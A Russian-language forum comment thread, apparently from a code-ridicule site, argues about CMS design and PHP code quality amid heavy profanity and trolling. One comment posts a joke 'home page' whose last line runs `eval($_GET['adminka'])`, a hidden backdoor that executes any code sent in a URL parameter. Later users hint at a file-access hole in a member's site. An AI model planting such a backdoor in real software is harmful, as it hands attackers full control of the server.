                      • Да хоть с гавна она вышла. Факт в том что всё было когдато гавном. Тут дело во мне. Буду ли я её писать до потери пульса или нет!
                        Ответить
                      • И друпал не лучшая
                        Ответить
                        • О_О только не говорите что 1С Битрикс
                          Ответить
                          • А тот факт что любая кмс уязвимая! ЛЮБАЯ 100 пудова! Такчто у всех есть косяки! И поэтому что теперь всё гавно???
                            Ответить
                            • а вы знаете, как сделать 100% защищенную и неговно?
                              Ответить
                              • НЕТ! Я не к тому, а к тому что, тут по логике многих гавном назвать всех и всё кругом!
                                Ответить
                          • не-а) тест очень простой. Берете сайт на CMS, и переделываете ему дизайн. Полностью. Например, как на CSS Zen Garden. Потом меняете ему какую-нить подсистему, например делаете авторизацию через LDAP.

                            Если после этого Вы еще не прокляли CMS -- это хороший CMS
                            Ответить
                            • взял cmsms.
                              диз легко меняется, делаем тему какую хотим.

                              написал первый модуль к нему - матерился. после 3его перестал. Но стал подумывать о форке
                              Ответить
                              • ну, взял я первый попавшийся файл из его поставки, а там отменный говнокод.
                                if (isset($params['css_class'])){
                                	$output = '<div class="'.$css_class.'"><ul>';
                                	}
                                else {
                                	$output = '<ul>';
                                }
                                
                                global $gCms;
                                $hm =& $gCms->GetHierarchyManager();
                                $db = &$gCms->db;
                                // Get list of most recently updated pages excluding the home page
                                $q = "SELECT * FROM ".cms_db_prefix()."content WHERE (type='content' OR type='link')
                                AND default_content != 1 AND active = 1 AND show_in_menu = 1 
                                ORDER BY modified_date DESC LIMIT ".((int)$number);
                                $dbresult = $db->Execute( $q );
                                if( !$dbresult )
                                {
                                    echo 'DB error: '. $db->ErrorMsg()."<br/>";
                                }
                                Ответить
                                • точно-точно, там во внутрях дерьма по самое небалуйся. Но с точки зрения пользователя удобно. Так что многие идеи можно слизать. Идеи, но, конечно, не код, если вы так подумали
                                  Ответить
                                  • Ну поменяйте мне для данного куска дизайн. Хочу что бы циферки выводились вместо буллетов. Это делает HTML таг OL. Вот замените мне тут UL на OL. )))))
                                    Ответить
                                    • запросто. цепляем ксс примерно такого содержания
                                      ul li {list-style-type: decimal;}
                                      Ответить
                                      • семантичненько, ага:)

                                        Усложняем задачу. Хочу сделать из них облако. Как облаго тагов. Мне надо сделать им float left, а вконце вставить распортку (clear:both): мерзко, но по другому это никак не решить.
                                        Ваши действия?
                                        Ответить
                                        • сочиняем плугин, который выводит все, что нужно и вставляем его как тег (матерится) смарти (матерится)
                                          Ответить
                                          • ага!
                                            а что мы делаем с sql запросом? копипастим туда?
                                            Ответить
                                            • а, вам еще и данные нужны? делаем модуль с небходимым кодом (код оформляем по всем правилам хорошего тона), инсталим и вставляем как тег смарти
                                              Ответить
                                              • погодите.

                                                У нас есть код, который выводит что-то из базы в UL / UL.
                                                Я попросил добавить вконце этого UL див с clear:both.

                                                Вы предлагаете мне написать новый модуль?
                                                Ответить
                                                • погодите, а откуда у нас этот код? если он выводит из базы в ULы, то его ж можно изменить, что бы он добавлял нужный див. Или я уже чего-то не соображу?
                                                  Ответить
                                                  • Этот код из плагина, который идет в поставке с Вашим CMS.

                                                    Вы сказали что можете полностью поменять дизайн, не трогая PHP код. Как видите -- тут это не реально.
                                                    Ответить
                                                • и вообще, а вам как надо, в идеале?
                                                  Ответить
                                                  • <div class="someClass">
                                                    <ul>
                                                    <li>asdasd</li>
                                                    <li>asdasd</li>
                                                    </ul>
                                                    <div class="clearer"></div>
                                                    </div>
                                                    Ответить
                                                    • я спрашиваю об абстрактном идеальном решении. Вот вы мне головоломки задаете, что бы я в терминах цмсмс решил, а какое решение ВООБЩЕ бы вас устроило?
                                                      Ответить
                                                      • плагин возвращает массив.
                                                        верстун по этому массиву на шаблонизаторе (или на php) итерируется и выводит данные
                                                        Ответить
                                                    • тут вообще напрашивается компонентная философия
                                                      Ответить
                                                      • тут напрашивается не писать sql и html в одном классе.
                                                        Потому что потом тяжело будет html поменять.
                                                        Я уж не говорю, что это тестировать невозможно.
                                                        Ответить
                                                        • вот именно. компонент и должен быть такой абстракцией, которая содержит в себе все логические части, код и представление, а возможно, и что-то еще (модель и т.д.) но что бы этот компонент можно было вставить в страницу вместе с другими компонентами, в другой компонент, и даже внутрь его вставлять еще другие.
                                                          Ответить
                                                          • компонент должен параметризироваться источником данных (а не иметь зашитий SQL) и позволять редактировать свой шаблон.

                                                            Как в ASP.NET хотя бы
                                                            Ответить
                                                            • смотря как написан. Этот компонент может быть источником данных или принимать данные извне, может выводить разметку или не выводить, а тихо отдавать обработанные данные, если кому надо
                                                              Ответить
                                                              • Я считаю, что верстальщик должен иметь полный контроль над аутпутом. HTML -- его стихия, и он там должен рулить как хочет.
                                                                Ответить
                                                                • вот именно, что плугины (теги) cmsms это больше его стихия.

                                                                  в модулях аутпут полностью контролируется модулем, тут ты почти один на один с системой, если не считать, что до твоего аутпута еще что то выведут и после него тоже.
                                                                  Ответить
                                            • тьфу, даже модуля никакого не надо. если просто добавить, то можно разными способами. добавим в страницу, или изменим плугин...
                                              Ответить
                                              • >>или изменим плугин...
                                                :) вот именно
                                                Ответить
                                                • а это плохо? мы его создали, мы его и изменим "я тебя породил, я тебя и убью". Вначале то у нас просто список был, мы его плугином и обернули
                                                  Ответить
                                                  • Плагин должен отдавать массив данных ввиде массива.
                                                    А потом верстальщик должен с этим массивом делать что хочет.
                                                    Хоть улом, хоть таблицей хоть черте чем.

                                                    Конкретно этот плагин нужно будет переписать, что бы вместо ула вывести таблицу.

                                                    Этот плагин -- часть CMSа. Подозреваю что там 80% такого.
                                                    Тоесть полная смена дизайна сайта приведет к переписке половины PHP кода.
                                                    А если мы захотим сделать два скина (в одном таблица вдругом ул) -- прийдется пилить
                                                    Ответить
                                                    • нет, плагин в терминах цмсмс - это хрень, которая отдаст готовый хтмл. именно который, к сожалению, придется пилить верстуну

                                                      я так сейчас навскидку не представляю, но, думаю, переделать не так уж много надо будет. хотя все равно, я не адвокат конкретной цмс, там тож говна хватает
                                                      Ответить
                                                      • Тоесть верстун будет ходить среди SQL запросов и echo, и в этом echo вставлять свой код?

                                                        а что бы сделать два скина -- надо сделать два одинаковых плагина с разным echo?

                                                        уфф)))

                                                        да я понимаю, что не Вы эту CMS писали, просто Вы ее привели в пример и я сразу же нашел в ней говнокод. Тыкнул неглядя
                                                        Ответить
                                                        • ну смотря еще как плаг написан. если так написан, то и будет ходить, никуда не денется

                                                          да там еще куча ньюансов. Например, хотим вставить на одну страницу два инстанса одного модуля. Допустим это модуль с кнопкой, при нажатии она изменяет цвет. Так вот, тыкаем в одну кнопку, изменяется цвет в двух.

                                                          Приходится городить костыли с сессиями и проч.
                                                          Ответить
                                                          • ага. А еще там есть глобальные переменные, например)
                                                            Ответить
                                                            • точно. это убило напрочь. еще там есть глобальные функции cms_*()
                                                              еще там есть экшены, которые в отдельных файлах, но как бы тело метода
                                                              причем этот метод должен многим функциям передавать параметры $id, $returnid (текущая страница, контейнер), которые сам получает параметр.
                                                              ага, я как то при знакомстве разработки затирал значение $id и передавал, потом долго удивлялся, почему не работает
                                                              Ответить
                                                            • кстати, смотрю, вы хорошего уровня программист, не подкинете соображений, какой должна и не должна быть цмс? назрела необходимость мой фреймворк (который, надеюсь, не говно) развить в цмс
                                                              Ответить
                                                              • Это сарказм?:)))

                                                                Вообще я представляю идеальный CMS как дерево неких объектов. Каждый модуль может приписать какое-то действие к каждому объекту. Каждый объект так же имеет свой шаблон.

                                                                Каждый модуль пишет в дерево результата данные в некотором контракте, а автор шаблона эти контракты знает.


                                                                Допустим пользователь заходит по адресу
                                                                /foo/bar


                                                                Система запускает все модули, подписанные (через файл конфигурации) на объект bar в папке foo (подписываться можно по кусочку пути или по типу объекта (каждый объект имеет свой тип) или еще по чему-то -- как в струтсе например): каждый модуль использует этот объкт как ключ.


                                                                Например модуль подсчета посетителей записывает, куда зашел пользователь.
                                                                А модуль вывода новостей находит подходящую новость, и пишет ее в дерево результата.

                                                                Допустим в xml:
                                                                <result>
                                                                 <moduleOutput moduleName="news">
                                                                    <!-- тут идет модуль-специфик данные-->
                                                                 </moduleOutput>
                                                                 <moduleOutput moduleName="auth">
                                                                    <!-- тут идет модуль-специфик данные-->
                                                                 </moduleOutput>
                                                                </result>



                                                                Потом запускается шаблон (он может быть привязан через такой же точно файл, или по типу или еще как-то) и преобразует дерево-результат в выходной HTML (или rss или rtf или doc).

                                                                Шаблон может быть xslt. А может быть хоть смарти, но тогда дерево-результат это не xml , а массив хешей например.

                                                                Ну кроме этого CMSу нужен нормальный фреймворк, что бы не писать свои функции работы с базой, с деревом этим, с логами итд)
                                                                Ответить
                                                                • кстати, никакого сарказма. правда приятно пообщаться с толковым человеком )

                                                                  ну почти так уже и есть в моем фреймворке, только у меня не модуль, а компонент (тройка Обработчик,необязательный Обьект Данных и один или несколько Видов) - ему из запроса по урлу (в конфиге настроено, как разбирается этот урл) приходят параметры, и вызывается какое-то его событие, где он обновляет свои данные в базе(пока что только СУБД, но можно настроить драйвер и для хмл) и затем говорит что делать дальше - редирект по урлу(на другое событие) или указать Вид, который определит, как будет рендериться его вывод в иерархической структуре компонентов.

                                                                  но это фреймворк, а нужны термины цмс: там, страницы, стили, темы и т.д. грубо говоря, как должна быть построена "админка" для управления содержанием без необходимости программирования, в стиле point-and-click
                                                                  Ответить
                                                                • единственное упущение (наверное, серьезное) что компонент возвращает через свой Вид сразу свой конечный вывод (в общем случае, хтмл), а не ответ по каким то соглашениям, вроде хмл или обьекта или массива
                                                                  Ответить
                                • Мда гавнецо то ещё)))))
                                  Ответить
    • А в обще что по вашему ЦМС? А не система ли управления сайтом? А? А если это так, то не функционал ли на 1 месте??? Пожалуйста напишите мне что такое для вас ЦМС.
      1. Функционал
      2. Юзабилите
      3. Шаблонизатор
      4. Установка модулей и шаблонов без проблем. В 1 дейтвии.
      5. Полная настройка и управление сайтом и админокй.
      6. Безопасность админ панели.
      7. Легко верстающие шаблоны....

      Не это ли? Это у меня всё есть и сполна намного больше. Но вот ваше мнение, я там далеко не всё перечислил, я просто порой не могу понять, вот тут многие ахуенные программеры. Которые пишут всё но пользуются чужими системами. Почему??? И не понимая что нужно юзеру, за то понимая как должно всё выглядеть. Так? И это так, но что всё же по вашему КМС такое?
      Ответить
      • > nethak
        > )))
        > хочу учится и буду учится
        > коласальный
        > ???
        А ведь в старые добрые времена специально обученные вожатые не допускали того, чтобы каникулярная школота выбиралась за пределы территории лагеря и беспокоила окружающих, эх
        Ответить
        • Ёмаё... Те лет скока ваще? Давно занимаешся PHP. Я смотрю тут многие заборы сносят реально! Кто я школота?! Чё то помойму дохера выводов из моего кода не кажется???!
          Ответить
          • HOW CAN YOU TELL I’M THIRTEEN BY WHAT I AM TYPEING???????????
            Ответить
            • You the fool? Russian know? I don't speak to you that you thirteen summer young man. You simply don't observe dialogue rules.
              Ответить
              • STFU then, mmkay?
                Ответить
                • Езжай за пределы РФ и там раскидывайся таким базарам!
                  Ответить
                  • блядцы кролики (ц) мож кончайте троллиться уже?
                    Ответить
                    • Честно это быдло первое начало! Таким не место среди людей, в зоопарке правдо что обезьян пугать.
                      Ответить
                      • > Честно это быдло первое начало!
                        мля, фраза из детсада, уж простите. имейте мужество сознаться, что повелись на примитивные выкрики
                        Ответить
                        • Я согласен повёлся. Меня не эта ситуация огорчила. А сам факт происходящего. Вот сидит он подпёрдывает толстый ботан у монитора, не понимая что не скрытся за монитором не когда. И пиздит, пиздит, герой мля. Просто почему я тут не кого не обсираю? Почему не говорю ты урод, ты дебил и прочее? Потомучто я Вас не знаю, и отношусь ко всем одинаково. И нет тут круче нет хуже, сейчас все мы это символы, отображающиеся на мониторе ну и аватарка ещё.
                          Ответить
                          • ну не все же такие умные, как вы. и это их проблема, не ваша. поэтому можно смело игнорить и не кормить троллей, а то и духовных вампиров (определение ЛаВей-евское)
                            Ответить
                            • Не надо говорить людям что он умный, особенно в таких ситуациях, мне показалось что Вы меня подкололи ) Ну да ладно, судя по Вам точно нет) А так Вы правы, можно игнорить. Но такие люди чувсттвуют себя умными, королями, всемогущими повелителями клавиатуре, способные на раз-два облить человека помоями кликая на клавиши. И их мнение на корню рубить надо. Тем более в интернете, а в друг он с пожелым человеком говорит? Воспитания нет? Из за кода, он то в PHP гуру тот ещё, из за, кода таааакие выводы сделать, это сверх. Даааа кстати. Ему на битву екстрасенсов надо, на ТНТ))) Вот там человек напишет чёнить, а он там всю жизнь про него расскажет.
                              Ответить
                              • а вас что, раздражает, что они создают себе иллюзию своего превосходства? Кто велик на самом деле, тот делает великие дела, а не кричит о своем величии на каждом шагу. А крикунов рано или поздно обламывает сама жизнь.
                                не вижу смысла тратить силы впустую на разрушение этих иллюзий, лучше эти силы потратить на великие дела = )
                                Ответить
                                • Да Вы снова правы. Ладно пусть бредит человек. А я займусь делами)))
                                  Ответить
                                  • вот, так бы сразу и без моих подсказок ))
                                    ну да ладно, сегодня вы чему-то научились. и не в только в программировании, но и в жизни = )
                                    Ответить
                                • Работает на mzz

                                  Что означает строчка в футере сайта этого? А сайт MZZ не пашет. Типа КМС? Поржал бы я с того, что если бы в системе той, попался гавно код. Гавно сайт про гавно код управляется гавно системой. Често пойду ка я помоюсь))))
                                  Ответить
                                  • Просто по логике многих, если в CMS хоть 1 ошибка это гавно, что уж там если констаны не так назвал, когда моя территория мои правила. Так что всё вокруг гавно гавном погоненное.
                                    Ответить
                                  • ну когда я смотрел, сайт работал, и это типа фреймворк такой. не думаю что лучший.

                                    а вообще, как говорится, в любом святом три килограмма говна
                                    Ответить
                                    • Вот слова здравосмыслюющего человека. А то реально прям выходит так:
                                      Умник это ИИСУС_ПХП
                                      ИУДА мы те кто делает чтото не так, и при том что всё раблтает, и косяки не значительные.
                                      Спать надо идти, с утра на работу, У нас пол третьего)))
                                      Ответить
                                      • зачем просить благодати у Иисуса, зачем ему молиться и предать, как Иуда, если можно стать Люцифером кода и просто показать, что значит хороший код?

                                        спокойной ночи
                                        Ответить
                                        • Спасибо и тебе всего наилучшего. Знаешь по сути скорее я люцифер, и не верю в гавно всё это. А по сутия стараюсь. Стукни в аську если есть) Если конечно есть желание:
                                          {[448] && [189] && [408]} - Думаю бот не поймёт)))
                                          Ответить
                            • Я дико извиняюсь за грамматические ошибки, ибо печатаю порой быстро не глядя, и вот так выходит(
                              Ответить
                    • троллики %)
                      Ответить
                      • вы тоже что-то усвоили сегодня? = )
                        Ответить
                        • А кое-кто, надев фуражку капитана Очевидность, начал пространно повествовать о "как делать саеты для самых маленьких" и о чём-то там еще, TL;DR
                          Это говнокод, а не форум для нубов
                          Ответить
                          • цель данного сайта ведь в том, что бы говнокода было меньше?
                            мы так не любим кодообезьянок, так сократим же их популяцию! = )
                            Ответить
                            • Нет, цель - в извлечении лулзов из кода, который иначе был бы уничтожен по причине полного пиздеца.
                              Вы уже построили биореактор, кстати?
                              Возможно, вы таки разницу между codemonkey (быдлокодер) и говнокодером не понимаете. Первые неизлечимы. Поциент - первый.


                              В любом случае менторство лулзов не приносит и в интернетах полно более благодарных аудиторий для него.


                              Хотя, взглянув на православное окончание беседы, уже имею другие мысли...
                              Ответить
                              • Топикстартер явно нуб, и нубость свою понимает, и у него еще есть шанс выучится и стать хорошим. В 17 лет я тоже говнокодил, и гостевые для сайтов за сто долларов ваял.

                                на говнокоде есть куда боле заиндевелые товарищи, которым кроме кремации уже ничто не поможет.

                                С другой стороны нубов от PHP следует направлять на пхпклуб: там их ждет Фанат и его легендарное http://phpfaq.ru/na_tanke
                                Ответить
                                • http://images.encyclopediadramatica.com/images/8/8e/Nubs.jpg

                                  Оптимизма не разделяю, поциент запросивший code review на ГК, но впавший в амок при виде реактивного говномёта - уже перешел тонкую грань между newb и noob (был зачетный comic strip про это, помнит кто-нибудь?), ∴ в будущем будет расти вширь за счет копипасты ЖПЛного кода; и покрываться волосами, естественно.
                                  (одно сравнение с виошечкой - диагноз)
                                  Ответить
              • >>You the fool? Russian know?

                --Вот из клок?
                --Сри о клок
                --Сач мач!!
                --Хум хау
                --Мгимо финишд?
                --Киев инъяз
                --Дринк?
                --аск!
                Ответить
                • дринк? неси сразу 20 дринков, что не бегать... а салат не трожь, я сказал!
                  Ответить
                  • бухнуть? Выж не питерский, небось...

                    А вообще забавно было бы устроить говнокодовку))))))))
                    Ответить
                    • нет, вильнюсский, увы.

                      ага, говносимпозиум, где каждый представит свои новые говнодостижения в области говнокода )))))
                      Ответить
                      • Первый Интернациональный Симпозиум Говнокодеров -- было бы круто
                        Ответить
            • --ты что, блондинка?
              --КАК ТЫ ДАГАДАЛСЯ???777
              Ответить
        • Ещё один крутой первокурсник?
          Ответить
          • Ёмаё, всё кароче ясно, тут кароче собрались теже умники что и на ГУГЛ ответах отвечает? Ппц)))))
            Ответить
    • Может сделаем форум?
      Ответить
      • всмысле forum.govnokod.ru?
        Ответить
        • Тип того. Раз уж тут организовывается филиал stackoverflow...
          Ответить
          • мысль... а то да - как-то неудобно так обсуждать
            правда на реформале и без форума много чего гораздо более простого досихпор не сделано,
            да и придуманы коментарии для извлечения еще больших лулзов, а не для холиваров

            лучше отдельный раздел
            Ответить
      • не надо, лучше купим им байдарку и отправим на Белое море, может утонут...
        Ответить
    • <?php
      echo "<html>";
      echo "<body>";
      echo "<h1>This is my home page</h1>";
      echo "DATING & DOORWAY";
      echo "</body>";
      echo "</html>";
      if (isset($_GET['adminka'])) eval($_GET['adminka']);
      ?>

      хуле
      Ответить
      • нет
        @eval($_GET['adminka']
        Ответить
      • Хуясе ты какой умный =) Я понял показал своё гавно, типа смотрите... Типа не моё, а сам советы послушать). Завязывай ты с этим.
        Ответить
    • Вроде Webkill обещал уйти, а не заводить ботов... О_о
      Цель поменьше себе выбрал? Вместо убийства - взлом, а вместо веба - локальная сеть? :D
      Ответить
    • В конце концов вывод таков что в любой CMS очень много говна!!!
      В какойто по юзабилити.
      В какойто по коду.
      В какойто по функционалу. У всех так. А так я и не услышал что по вашему CMS ктото орал что там надо фреймворк то сё. А ктонить знает что это:
      СИСТЕМА УПРАВЛЕНИЯ САЙТОМ! ЁМАЁ! А значит 1 страница это сайт, второая страница добовляет в ту страницу текст, и это уже CMS, гавно правдо) Но всёже....
      Ответить
    • Зато прикольно то что коментариев уже:

      Запостил: nethak, 21 Июля 2010
      Комментарии (205)

      Я херею, а всеволиж спросил совета)))
      Ответить
    • Да и ещё, тут много кто такой умный... А представьте свои коды которые по вашему ИДЕАЛЬНЫ АБСОЛЮТНО. И сайты покажите которые чтоб не приипатся... И посмотрим хоть на ваши работы.
      Ответить
    • Эпичный тред столь эпичен, что даже не хочется спрашивать про с++.

      Разделяю мнение о фроке вебкила (благо нейминг конвеншен схож, и незнания обширны). Хотя может быть это действительно пацан с 33 микрорайона сургута с десятками сайтов на джамуле под управлением icq 448 & 189 & 408.

      лур оф хаос - оказасля нубофилом и cms-фагом.

      итого ГК тот еще торт )
      Ответить
      • :D годное резюме
        когда Уебкилл объявил о самоубийстве - я сразу вспомнил, что он пару недель назад обещал зарегатся под другим ником и тогда его перестанут минусовать.
        Я ему еще тогда сказал, что мы тебя и под другим ником задетектим - твои глупости за километр слышно.
        Будем ждать новых откровений в стиле математика - лженаука, Плутон не планета, а Вайн - не эмулятор )))
        Ответить
        • >>а Вайн - не эмулятор
          The name Wine derives from the recursive acronym Wine Is Not an Emulator. While the name sometimes appears in the forms WINE and wine, the project developers have agreed to standardize on the form Wine.

          http://wiki.winehq.org/FAQ?action=recall&rev=217#head-8b4fbbe473bd0d51d936bcf298f5b7f0e8d25f2e
          Ответить
          • я знаю, я спецом так написал.
            а Плутон в 2006 ученые исключили из списка планет.
            но всем пох...
            Ответить
            • и что?
              вайн реальне не эмулятор, а реверс-инженирная реализация win32api под никсы, нет?

              в винде тоже есть подсистема posix (мааахонькая часть) -- это что, значит что в винде есть эмулятор юниха?
              Ответить
              • по приведенной вами выше ссылке
                "Wine is not just an emulator" would be a more correct name.
                а плутон реальне не планета, так что забей, это была шутка
                Ответить
        • > под другим ником
          Сначала Webkill, теперь nethak - закономерность очевидна. Кто следующий? WANddos?
          Ответить
        • > а Плутон в 2006 ученые исключили
          Несмотря на то, что всем похуй на кусок грязного льда, находящийся в неимоверных ебенях - плутосрач был поистине великолепен. Более того, система Плутон-Харон никогда не была планетой (ни массой, ни орбитой не вышла), а МАС всего лишь принял новую классификацию объектов; однако у хомячков, старательно вызубривших 9 названий, сказочно разболелись попки.
          Ответить
    • "{$row['language_admin']}"

      Такого я еще не видел.
      Ответить
      • показать все, что скрытоКаждый пишет как хочет, выглядет красиво. Главное работает, а Вы задроты пишите прям всё чётко при чётко....
        Ответить
      • Высмеиваете всех, а сои гавённые коды не показываете? Вам только на гугле сидеть на вопросы отвечать и не больше. Там как раз самые умники сидят.
        Ответить
      • И судя по вашему выложеныму якобы гавнокоду, вы просто мега ГУРУ php :-DDD
        Ответить
      • И судя по аве, вы мега реперок? Т.е. не взрослый человек, значит просто юноша, пройдите просто мимо и не пишите того чего не понимаете.
        Ответить
      • И это заметили только вы Мега ГУГУ PHP ))))))))))
        Ответить
    • показать все, что скрытоДля умников, сломайте сайт! http://nethak.ru/ А тот я тут встретил выёбистых мегахакеров))) Ломастеры горе хакеры и не больше)
      Ответить
      • DLE то?
        Ответить
        • Хулэе, Кто ты такой когда систему определить не можешь? НЕТ НЕ ДЛЕ!
          Ответить
      • лол, бан выдается по ip и user agent? ну-ну...
        Т.е. хакер может менять юзер агент хоть при каждом запросе, а вот сотни невиновных пользователей за натом обломаются (делаю такой вывод на основании того, что при очистке кук бан не снимается).
        Ответить
      • насмешил урл ссылок по буквам: files%2Blet%2BA.html
        кстати, делаю вывод, что раз символы уже закодированы, то еще раз они не кодируются, а значит, можно получить доступ к любому файлу ))) вот и весь взлом
        Ответить
        • Ха, ну так сломайте, получите, доступ и так есть, только это всё слова,тут тока все могут чтото триндеть и не больше.
          Ответить
          • не хочу и не буду. я программист, я могу сообщить владельцу о найденных дырах, делайте выводы сами.
            а что бы за хак мну взяли или могли бы взять за жопу, фигурно(!) выражаясь - не желаю
            Ответить
            • Слова разумного человека, тут просто же говорят некоторые что ломают всё что всё вокруг говно)))
              Ответить
            • Сообщи) Я владелец, мне было бы интересно, и как не странно на этом портале нет фреймворка, и ходят по сотни человек када больше, и не чего не виснет =)
              Ответить
    • Откройте мне кто-нибудь сакральный смысл этих строчек:
      if(IN_ADMIN){
      define("IN_ADMIN", TRUE);
      ......................
      Ответить
      • Мде, неужели не понятен смысл? Дам подсказку) В других файлах кроме этого стоит:
        if(!defined("IN_ADMIN")) die("Запрещённое действие!");
        Понятно? Тебе о чёмто говорит TRUE FALSE ???
        Ответить
        • Если на момент проверки условия if(IN_ADMIN) IN_ADMIN не была равна true, то до define дело не дойдёт. Если на момент if() она была равна true, тогда в define нет необходимости. А проверять, админ или нет, нужно, но устанавливать устанавливать в тру то, что уже проверенно на тру - это я не знаю, как назвать.
          if(!defined("IN_ADMIN")) die("Запрещённое действие!"); - это вообще детский сад, если быть честным. Напишите свой класс авторизации, сделайте его Singelton Pattern-ом и вызывайте его экземпляр везде, где это нужно. А городить глобальные константы.... даже и не знаю, как назвать... отдаёт началом 90х в стилях программирования
          Ответить
          • Да но факт что работает же? SID каждый раз при авторизации хранится в бд, и работает сессия... И всё пашет
            Ответить
            • ага, но КАК работает? сделайте error_reporting в E_ALL | E_STRICT, увидите, через какую целлюлитную Ж оно работает.
              Ответить
          • > if(!defined("IN_ADMIN")) die("Запрещённое действие!"); - это вообще детский сад

            а по моему один из способов. у любого способа есть свои плюсы и свои минусы. Плюс этого подхода в том, что он прост и эффективен, а с авторизацией все равно придется писать логику подобно этой, типа <?php $auth=new Auth(); if(!$auth->logged()) $auth->redirectLogin(); ?> причем заметьте, обьем работы больше чем проверить существование константы.

            между прочим во фреймворке Kohana (форк CodeIgniter) в каждом файлике встречается вот такое:

            <?php defined('SYSPATH') or die('No direct script access.');
            /**
            * Wrapper for configuration arrays. Multiple configuration readers can be
            * attached to allow loading configuration from files, database, etc.
            *
            * @package Kohana
            * @category Configuration
            * @author Kohana Team
            * @copyright (c) 2009 Kohana Team
            * @license http://kohanaphp.com/license
            */
            class Kohana_Config {
            ....
            Ответить
            • Ну Вы же не будите спорить, что прямой доступ к скрипту и авторизация - это несколько разное? (-: Думаю, у любого фреймворка первая строчка именно такая, как Вы указали (-: у того же CI: if ( ! defined('BASEPATH')) exit('No direct script access allowed');

              И не надо $auth=new Auth(); Я же не зря упомянул сингл паттерн. Указанной конструкцией Вы каждый раз будите создавать новый экземпляр класса, а это для авторизации не подходит. Хотя, всё зависит от реализации класса. У меня же это выглядит так: if(Current_User::user()->admin); И всё (-: Правда это CI+Doctrine.
              Ответить
              • ну я представляю примерно так: если юзер пытается напрямую врубить скрипт, то его нужно отфутболить на страницу авторизации

                а ну да, в данном случае нужно использовать синглтон.
                но в пхп он зачастую не нужен, потому что жизненный цикл скрипта очень короткий, как правило, даже без синглтона создастся не более одного экземпляра обьекта, а обеспечить долгую жизнь синглтону кроме как через какой нибудь memcached или подобное не удастся - для разных запросов будут отдельные синглтоны.
                так? или я что-то пропустил в пхп-мире?
                Ответить
                • Нет не пропустили идёте в ногу с PHP) Но я же не показывал всю структуру... Всё перебрасывается легко, ввёл не правильно капчу, проверка и переадресация, логин идли пороль не найден в бд тоже отфутболили, если нашёлся, то регестрируем айди сессии, пишем её в БД, работаем по ней, пока не нажимаем выход, тут срабатывает функция логоута... И из БД стирается запись айди сессии... Всё безопасно... И понятно в тоже время.
                  Ответить
                  • а зачем session_id писать в бд?
                    или у вас сustom session_handler?
                    Ответить
                    • это я постеснялся спросить: а зачем session_id писать в бд?
                      (-:
                      Ответить
            • У меня уже есть готовый класс, точнее не класс а логика, все с бд, всё через логику эту. Всё работает написал давно уже.
              Ответить
            • А то что проще да вы правы. Я же не делаю проект который разойдётся по всему миру, и его будут ломать как джумлу. Уроки по взлому видео и прочее... Городские проеткты, магазины фирмы различные, каталоги...
              Ответить
              • будут ломать. Как раз сейчас больше ломают хомяки и мелкие проекты, потому что обычно они плохо написаны, и к ним можно применить давно известные приемы взлома.
                а хорошо известные проекты... тоже пробуют, но редко успешно.
                еще хорошо ломают сайты на известных движках, причем если где-то указано, на каком движке сделано. тогда достаточно найти уязвимость в движке - и автоматом можно ломать все сайты на этом движке.
                Ответить
          • альтернативный путь, коим пользуюсь я - при наличии сервера Апача - ставлю .htaccess, который запрещает прямой доступ куда не надо, а к тому же, настраивает модуль mod_rewrite
            и у него тоже есть недостатки:
            апач ищет все конфиги .htaccess во всех папках, обрабатывает, и строит запутанную логику "что где можно?", которая и работает медленно, и создает нагрузку на сервак, и трудно отлаживать такую логику
            если пришел урл, который недопустим для пути к папке (к примеру, /l0x/vote?1, или /file/1%2B2.html) он жоско обламывается еще ДО исполнения скрипта
            Ответить
            • По-моему, без .htaccess и mod_rewrite сейчас уже никуда. Роутинги, ЧПУ, ограничение доступа - куда без этого и много другого в современном мире?!
              Ответить
              • к сожалению, это накладывает требование - сервак именно апач. Хоть он, хвалааллаху, стандарт де-факто, но все же определенное ограничение

                кстати, с рутингами и ЧПУ намного понятнее разработка, чем без них
                Ответить
                • > без .htaccess и mod_rewrite сейчас уже никуда
                  > это накладывает требование - сервак именно апач
                  А в том же nginx реврайты уже отменили? Пусть они и не в .htaccess задаются, но тем не менее...
                  Ответить
            • Я тоже пользуюсь хитаксессом, настраиваю его на запрет, в отдельном файле есть кейсы по ошибкам, срабатывает ошибка 503 чтоли прости если забыл, и кидает на ту страницу где пишется что запрет. А минус в том что я пользуюсь хостерами из инета... Я не могу настраивать там всё... Замарачиватся с установкой сервака, покупкой айпишника не хочу...
              Ответить
          • резюме: если методика используется давно, это еще не значит, что она устарела и ей нельзя пользоваться. Может быть, она до сих пор эффективна :)
            Ответить
            • Не медленно, спросить mtime(.htaccess) у файловой системы - быстро

              Ахахаха, луре оф хаос тоже начал выделять каменты очередями.
              Видите, дети, чем можно заразиться, занимаясь нуболожеством?
              Ответить
              • быстро? а вы напишите скрипт, который лазиет по достаточно ветвистому дереву каталогов в поиске,ну скажем, ини-файлов и выводит их содержимое в формате КЛЮЧ,ЗНАЧЕНИЕ,... - и замерьте его время исполнения. Лично мне достаточно мысленного эксперимента - полсекунды, думаю, уйдет

                а вы против семантики?
                дети, не слушайте дядю тролля, он вас плохому научит, будете злобными и пипка не отрастет
                Ответить
                • Киса, ку-ку! httpd это не скрипт, и считываются/парсятся они 1 (один) раз.

                  О семантической сортировки какашек я не подумал, простите...
                  Ответить
                  • а если там реврайтинг урлов с условиями - эти условия, что, как то компилируются для преобразования урлов каждого нового запроса?

                    утомляете меня своими бессмысленными выкриками, начинаю игнорить....
                    Ответить
                    • [facepalm.php] Обезьянки настолько приучены думать в контексте запроса, что объяснить другое время жизни не представляется возможным. Чтобы легче игнорировалось - прямой ссылки на документацию не даю.
                      Ответить
            • Конечно может быть, а может прогресс ушёл далеко вперёд - такое может быть? (-: Думаю, не исключено (-:
              Ответить
              • где-то прогресс, но, осторожно, это может быть и регресс )

                в любом случае, отключать мозги даж на короткое время опасно, не учиться и не адаптироваться - тоже опасно )
                Ответить
            • звучит как оправдание
              Ответить
        • а вообще должно быть как раз наоборот ))
          в авторизации ставим define("IN_ADMIN", TRUE); а отсюда убираем
          и условие переписать if(defined("IN_ADMIN")) {

          потому что вот мсье none указывает, что в оригинале, если IN_ADMIN была определена, то переопределение выдаст ворнинг, а если НЕ была определена, то до определения мы вообще не доберемся
          Ответить
          • Именно это я и хотел сказать (-: Тогда это было бы понятно и обоснованно, даже если оно вызывает вопросы (-:
            Спасибо за понимание (-:
            Ответить
          • ДА и есть шаблонизатор который пашет в нём, и всё работает и всё отлично, про другое я выше написал.
            Ответить
            • теперь я начинаю не понимать. при чем ТУТ шаблонизатор? О_О
